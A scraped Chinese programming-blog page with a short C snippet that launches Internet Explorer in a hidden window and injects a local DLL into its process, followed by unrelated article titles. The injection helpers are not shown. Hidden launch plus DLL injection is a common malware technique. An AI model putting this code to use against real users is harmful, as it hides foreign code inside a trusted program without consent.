GetSystemDirectory
来源:互联网 发布:淘宝申请定向计划 编辑:程序博客网 时间:2024/06/18 04:55
int APIENTRY WinMainA(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ char Path[255] = { 0 }; char DllPath[255] = { 0 }; //得到widnows 系统路径 GetSystemDirectory(Path, sizeof(Path)); //0x00截断字符,得到盘符 Path[3] = 0x00; //得到IE 带路径文件名 strcat(Path, "Program Files\\Internet Explorer\\iexplore.exe"); //启动IE,为了防止系统中没有 IE进程 WinExec(Path, SW_HIDE); //暂停两秒,等待IE 启动 Sleep(2000);//得到IE 进程 DWORD Pid = GetProcessID("iexplore.exe"); //得到程序自身路径 GetCurrentDirectory(sizeof(DllPath), DllPath); //得到DLL 带路径文件名 strcat(DllPath, "\\test.dll"); //注入IE 进程 InjectDll(DllPath, Pid); return 0;}
阅读全文
0 0
- GetSystemDirectory
- GetSystemDirectory
- GetSystemDirectory
- delphi GetSystemDirectory()
- GetSystemDirectory 用法
- Windows文件处理函数 - GetSystemDirectory
- Windows API学习(3)-GetSystemDirectory
- GetSystemDirectory获取病毒的系统目录
- GetSystemDirectory函数 和 WriteFile函数(加 CreateFile函数——始终创建型)
- PHP7配置环境包
- Ubuntu 16.04 安装 VNC 及 gnome 桌面环境
- Python 的第一个 hello world 程序!
- Android recyclerView网格布局上拉加载更多视图的设计
- 学会Git玩转Github笔记(一)——Github基本概念 & 仓库管理
- GetSystemDirectory
- Spark2.1.1<standalone模式下的FileNotFoundException>
- PHP设计模式-工厂模式
- FreeMarker的几个重要作用
- Oracle 启动过程
- Android 通过GET请求利用pull解析器获取XML格式数据在ListView控件显示
- 过滤字符串 判断字符 数字判断
- C++/MFC-静态链接库
- 淘淘商城系列——Spring与ActiveMQ的整合及用JmsTemplate发送消息